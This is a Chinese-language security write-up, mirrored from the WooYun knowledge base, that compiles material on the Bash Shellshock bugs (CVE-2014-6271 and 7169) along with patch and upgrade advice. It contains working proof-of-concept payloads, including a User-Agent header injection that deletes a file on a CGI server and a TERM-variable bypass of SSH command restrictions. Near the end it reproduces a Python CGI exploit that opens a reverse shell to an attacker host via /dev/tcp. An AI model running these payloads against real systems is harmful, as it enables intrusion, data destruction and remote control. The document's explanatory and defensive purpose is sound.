CVE-2014-6271資料彙總

wyzsk發表於2020-08-19
作者： insight-labs · 2014/09/25 18:12

author: shawn

0x00 什麼是BASH

Bourne Again Shell(簡稱BASH）是在GNU/Linux上最流行的SHELL實現，於1980年誕生，經過了幾十年的進化從一個簡單的終端命令列直譯器演變成了和GNU系統深 度整合的多功能介面。

0x01 CVE-2014-6271

法國GNU/Linux愛好者Stéphane Chazelas於2014年9月中旬發現了著名的SHELL實)的一個漏洞，你可以透過構造環境變數的值來執行你想要執行的指令碼程式碼，據報導稱，這個漏洞能影響眾多的執行在GNU/Linux上的會跟BASH互動的應用程式，包括:

在sshd配置中使用了ForceCommand用以限制遠端使用者執行命令，這個漏洞可以繞過限制去執行任何命令。一些Git和Subversion部署環境的限制Shell也會出現類似情況，OpenSSH通常用法沒有問題。

Apache伺服器使用mod_cgi或者mod_cgid，如果CGI指令碼在BASH或者執行在子SHELL裡都會受影響。子Shell中使用C的system/popen，Python中使用os.system/os.popen，PHP中使用system/exec(CGI模式)和Perl中使用open/system的情況都會受此漏洞影響。

PHP指令碼執行在mod_php不會受影響。 DHCP客戶端呼叫shell指令碼接收遠端惡意伺服器的環境變數引數值的情況會被此漏洞利用。

守護程式和SUID程式在環境變數設定的環境下執行SHELL指令碼也可能受到影響。

任何其他程式執行SHELL指令碼時用BASH作為直譯器都可能受影響。Shell指令碼不匯出的情況下不會受影響。

OpenSSH, Apache2, php, dhcp client甚至帶SUID的程式。

1，本地SHELL環境中測試是否有漏洞：

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果存在漏洞會列印"vulnerable"。

2，C程式：

#!c
-----------------------------------------------------------------------------
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include <unistd.h>
#include <stdio.h>

int main()
{
    char *envp[] = {
        "PATH=/bin:/usr/bin",
        "/usr/bin/id=() { "
        "echo pwn me twice, shame on me; }; "
        "echo pwn me once, shame on you",
        NULL
    };
    char *argv[] = { "/bin/bash", NULL };

    execve(argv[0], argv, envp);
    perror("execve");
    return 1;
}

測試：

#!bash
[email protected]:~$ gcc -o bash-is-fun bash-is-fun.c
[email protected]:~$ ./bash-is-fun
pwn me once, shame on you
[email protected]:/home/je$ /usr/bin/id
pwn me twice, shame on me

這個POC中可以看出BASH根本就沒有去處理結尾，後面我們可以透過補丁來看為什麼。

3，INVISIBLETHREAT上對於HTTP環境的測試：

建立一個指令碼叫poc.cgi:

#!bash
#!/bin/bash

echo "Content-type: text/html"
echo ""

echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'

exit 0

把指令碼放入測試機後，輸入：

#!bash
$ curl http://192.168.0.1/poc.cgi

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>PoC</title>
</head>
<body>
<pre>
SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>

HTTP_USER_AGENT=curl/7.26.0
SERVER_PORT=80
HTTP_HOST=192.168.0.1
DOCUMENT_ROOT=/var/www
SCRIPT_FILENAME=/var/www/poc.cgi
REQUEST_URI=/poc.cgi
SCRIPT_NAME=/poc.cgi
REMOTE_PORT=40974
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/var/www
[email protected]
HTTP_ACCEPT=*/*
REMOTE_ADDR=192.168.0.1
SHLVL=1
SERVER_NAME=192.168.0.1
SERVER_SOFTWARE=Apache/2.2.22 (Debian)
QUERY_STRING=
SERVER_ADDR=192.168.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
_=/usr/bin/env
</pre>
</body>
</html>

再來試試使用curl設定一個user-agent玩玩：

#!bash
$ curl -A "() { :; }; /bin/rm /var/www/target" http://192.168.0.1/poc.cgi

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
[email protected] and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>

上面已經把/var/www/target給刪除了，再來看看：

#!bash
$ curl http://192.168.0.1/target

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /target was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>

這個例子當中，內容被傳入 HTTP_USER_AGENT (CGI 會把HTTP頭當成環境變數解析). 最終變成這樣：

#!bash
HTTP_USER_AGENT() {
    :;
};
/bin/rm /var/www/target

應該只解析函式的定義，但是後面的內容仍然執行了。

4, 針對OpenSSH的POC

目前有2個攻擊平面，Solar Designer給出了SSH_ORIGINAL_COMMAND的本地利用方法：

seclists.org/oss-sec/2014/q3/651

還有就是針對遠端利用的POC，透過利用TERM：

在機器A上生成一對RSA key pair:

#!bash
[email protected]:~/.ssh$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/shawn/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/shawn/.ssh/id_rsa.
Your public key has been saved in /home/shawn/.ssh/id_rsa.pub.
The key fingerprint is:
09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dc [email protected]
The key's randomart image is:
+--[ RSA 2048]----+
|    ...          |
|    .o .         |
|     ooo         |
|    o +.o.       |
|     = =S.       |
|    . * o E      |
| o o . +         |
|. = o o          |
|oo . .           |
+-----------------+

把A的公鑰複製到機器B上：

#!bash
$cat /home/shawn/.ssh/authorized_keys
command="/tmp/ssh.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f/8ar5a5Ex8Dg9M/loYPIPp5gJ [email protected]

一個用於控制command/SSH_ORIGINAL_COMMAND的指令碼

#!bash
[email protected]:~/.ssh> cat /tmp/ssh.sh
#!/bin/sh

case "$SSH_ORIGINAL_COMMAND" in
    "ps")
        ps -ef
        ;;
    "vmstat")
        vmstat 1 100
        ;;
    "cups stop")
        /etc/init.d/cupsys stop
        ;;
    "cups start")
        /etc/init.d/cupsys start
        ;;
    *)
        echo "Sorry. Only these commands are available to you:"
        echo "ps, vmstat, cupsys stop, cupsys start"
        #exit 1
        ;;
esac

機器A上可以正常的使用限制指令碼:

#!bash
[email protected]:~/.ssh$ export SSH_ORIGINAL_COMMAND="ps"
[email protected]:~/.ssh$ ssh  [email protected] $SSH_ORIGINAL_COMMAND
Enter passphrase for key '/home/shawn/.ssh/id_rsa': 
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 16:47 ?        00:00:02 /sbin/init showopts
root         2     0  0 16:47 ?        00:00:00 [kthreadd]
root         3     2  0 16:47 ?        00:00:00 [ksoftirqd/0]

藉助TERM來利用：

#!bash
[email protected]:~$ export TERM='() { :;}; id'; ssh  [email protected]
Enter passphrase for key '/home/shawn/.ssh/id_rsa': 
uid=1000(shawn) gid=100(users) groups=100(users)
Connection to 192.168.115.129 closed.

0x02 補丁和後續

從最早GNU/Linux發行版社群收到的補丁：

https://bugzilla.novell.com/attachment.cgi?id=606672

可以看出BASH的確沒有做異常處理，而直接解析後就執行了。

正式的社群補丁在這裡：

http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017 http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018 http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039 http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012 http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048 http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025

但由於補丁修復的不完整，導致了CVE-2014-7169的爆出,POC如下：

#!bash
[email protected] /tmp $ date -u > test_file
[email protected] /tmp $ env X='() { (a)=<\' bash -c 'test_file cat'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 09:37:04 UTC 2014

這個POC可以讓攻擊者能讀檔案，看來後續的故事還沒結束...................(Sep 25 13:30 UTC 2014)

UTC時間2014年9月25日上午，CVE-2014-7169被BASH社群修復，目前主要的GNU/Linux發行版包括Debian, Gentoo, OpenSUSE, CentOS, RHEL都已經提供了相 關的升級。

2014年9月26日，BASH又爆出了CVE-2014-7186和CVE-2014-7187：

www.openwall.com/lists/oss-security/2014/09/26/2

防禦方案

在各種GNU/Linux發行版裡需要升級：

Debian-based（包括Ubuntu）:

sudo apt-get update && apt-get upgrade

Gentoo：

sudo emerge --sync && glsa-check -f affected

OpenSSH:

加入no-pty

後續故事

這個漏洞引起的故事並沒有因為補丁而結束，因為這個星球上有太多人不會那麼care這個漏洞，也就是說他們不會即時的去打補丁，而從攻擊者的一方而言，從漏洞公開已經出現了很多類似：

------------------------------------------------------------------------
    #
    #CVE-2014-6271 cgi-bin reverse shell
    #

    import httplib,urllib,sys

    if (len(sys.argv)<4):
            print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
            print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
            exit(0)

    conn = httplib.HTTPConnection(sys.argv[1])
    reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

    headers = {"Content-type": "application/x-www-form-urlencoded",
            "test":reverse_shell }
    conn.request("GET",sys.argv[2],headers=headers)
    res = conn.getresponse()
    print res.status, res.reason
    data = res.read()
    print data
------------------------------------------------------------------------

的工具，Shellshock比heartbleed更容易自動化的去攻擊目標，漏洞本身的特性帶來了最糟糕的情況就是蠕蟲的產生，這種擔心已經得到了證實：

https://gist.github.com/anonymous/929d622f3b36b00c0be1

雖然目前的樣本不是蠕蟲，但很明顯，殭屍網路的狂歡已經開始，從目前樣本的情況看，這是一個有C&C功能的botnet，"她"會先尋找busybox的目標，然後嘗試入侵目標機，之後嘗試提權，這個惡意軟體主要目的是利用肉雞來DDOS，攻擊者的下一個目標將會是WEB。

通常來講，一個漏洞曝光到自動化利用會在24小時內完成，所以各位抓緊時間打補丁。

[1] BASH [2] Bash specially-crafted environment variables code injection attack [3] CVE-2014-6271 [4] CVE-2014-7169 [5] CVE-2014-6271: remote code execution through bash

本文章來源於烏雲知識庫，此映象為了方便大家學習研究，文章版權歸烏雲知識庫！

相關文章